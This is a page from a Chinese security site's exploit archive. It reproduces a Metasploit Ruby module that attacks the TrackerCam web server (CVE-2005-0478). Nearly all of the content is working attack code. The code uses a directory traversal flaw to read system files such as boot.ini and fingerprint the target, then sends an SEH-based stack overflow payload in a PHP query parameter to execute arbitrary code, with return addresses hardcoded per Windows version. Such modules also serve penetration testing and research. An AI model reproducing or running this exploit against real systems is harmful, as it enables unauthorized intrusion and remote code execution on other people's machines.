首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
'TrackerCam PHP Argument Buffer Overflow (MSF)
来源:http://www.metasploit.com 作者:HDMoore 发布时间:2009-11-26  
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'TrackerCam PHP Argument Buffer Overflow',
			'Description'    => %q{
				This module exploits a simple stack overflow in the
				TrackerCam web server. All current versions of this software
				are vulnerable to a large number of security issues. This
				module abuses the directory traversal flaw to gain
				information about the system and then uses the PHP overflow
				to execute arbitrary code.
					
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision
, 'References' => [ [ 'CVE', '2005-0478'], [ 'OSVDB', '13953'], [ 'OSVDB', '13955'], [ 'BID', '12592'], [ 'URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # EyeWD.exe has a null and we can not use a partial overwrite. # All of the loaded application DLLs have a null in the address, # except CPS.dll, which moves around between instances :-( ['Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll ['Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll ['Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll # Windows XP SP2 and Windows 2003 are not supported yet :-/ ], 'DisclosureDate' => 'Feb 18 2005', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8090) ], self.class) end def check res = send_request_raw({ 'uri' => '/tuner/ComGetLogFile.php3', 'query' => 'fn=../HTTPRoot/socket.php3' }, 5) if (res and res.body =~ /fsockopen/) fp = fingerprint() print_status("Detected a vulnerable TrackerCam installation on #{fp}") return Exploit::CheckCode::Confirmed end return Exploit::CheckCode::Safe end def exploit c = connect buf = rand_text_english(8192) seh = generate_seh_payload(target.ret) buf[257, seh.length] = seh print_status("Sending request...") res = send_request_raw({ 'uri' => '/tuner/TunerGuide.php3', 'query' => 'userID=' + buf }, 5) handler end def download(path) res = send_request_raw({ 'uri' => '/tuner/ComGetLogFile.php3', 'query' => 'fn=' + ("../" * 10) + path }, 5) return if !(res and res.body and res.body =~ /tuner\.css/ and res.body =~ /<pre>/) m = res.match(/<pre>(.*)<\/pre><\/body>/smi) return if not m return m[1] end def fingerprint res = download(rand_text_alphanumeric(12) + '.txt') return if not res m = res.match(/in <b>(.*)<\/b> on line/smi) return if not m path = m[1] print_status("TrackerCam installation path is #{path}") if (path !~ /^C/i) print_status("TrackerCam is not installed on the system drive, we can't fingerprint it") return end if (path !~ /Program Files/i) print_status("TrackerCam is installed in a non-standard location") end boot = download('boot.ini') return if not boot case boot when /Windows XP.*NoExecute/i return "Windows XP SP2+" when /Windows XP/ return "Windows XP SP0-SP1" when /Windows.*2003/ return "Windows 2003" when /Windows.*2000/ return "Windows 2000" else return "Unknown OS/SP" end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TYPSoft FTP server remote deni
·CA BrightStor ARCserve Backup
·XM Easy Personal FTP Server ve
·HP OpenView Operations OVTrace
·PHP 5.2.11 tempnam() safe_mode
·Winamp Ultravox Streaming Meta
·OSI Codes PHP Live! Support ve
·Novell eDirectory NDS Server H
·Borland Interbase Create-Reque
·Internet Explorer 6/7 CSS Hand
·GlobalSCAPE Secure FTP Server
·Opera version 10.01 suffers fr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved